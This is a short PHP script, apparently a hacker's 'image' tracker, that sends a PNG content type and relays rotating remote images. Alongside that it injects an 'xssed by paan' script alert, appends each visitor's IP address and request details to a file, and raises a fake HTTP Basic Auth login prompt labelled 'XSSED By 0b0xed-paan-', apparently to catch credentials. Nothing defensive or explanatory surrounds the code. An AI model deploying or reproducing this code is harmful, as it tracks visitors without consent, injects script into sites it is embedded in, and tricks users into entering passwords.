Gambar

<?php
header("Content-type: image/png");

$max_gambar = 5;
$start = 1;




if(!isset($_COOKIE['gambar_paan'])) {
        setcookie("gambar_paan", $start);
} elseif(isset($_COOKIE['gambar_paan']) and $_COOKIE['gambar_paan'] >= $max_gambar) {
        setcookie("gambar_paan", $start);
} else {
        $start = $_COOKIE['gambar_paan'];
}

$pilih = $start + 1;
setcookie("gambar_paan", $pilih);
switch( $pilih ) {
        case 1:
                readfile("http://files.softicons.com/download/web-icons/alphabet-icons-by-supratim-nayak/png/128/p_black.png");
                break;

        case 2:
                readfile("http://files.softicons.com/download/web-icons/alphabet-icons-by-supratim-nayak/png/128/p_black.png");
                break;

        case 3:
                readfile("http://upload.wikimedia.org/wikipedia/commons/d/db/Crystal_Clear_app_applixware.png");
                break;

        case 4:
                readfile("http://shallowsky.com/linux/quickmask/final.png");
                break;

        case 5:
                readfile("http://icongal.com/gallery/image/194527/letter_n.png");
                break;
}



$paan = $_SERVER['REMOTE_ADDR'];
$domain = $_SERVER['HTTP_HOST'];
$path = $_SERVER['SCRIPT_NAME'];
$queryString = $_SERVER['QUERY_STRING'];
$gay = $_SERVER['REQUEST_URI'];

echo"<script>alert('xssed by paan')</script>";


$fh = fopen('paan.html', 'a');
fwrite($fh, "<p>IP Address:$paan</p>");
fwrite($fh, "<p>$domain.$path.$queryString.$gay</p>");
fclose($fh);


$auth = 1;
$name='098f6bcd4621d373cade4e832627b4f6'; //
$pass='098f6bcd4621d373cade4e832627b4f6'; //
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="XSSED By 0b0xed-paan-"');
   header('Paan Menghensem');
   exit("<b></b>");
   }
}



?>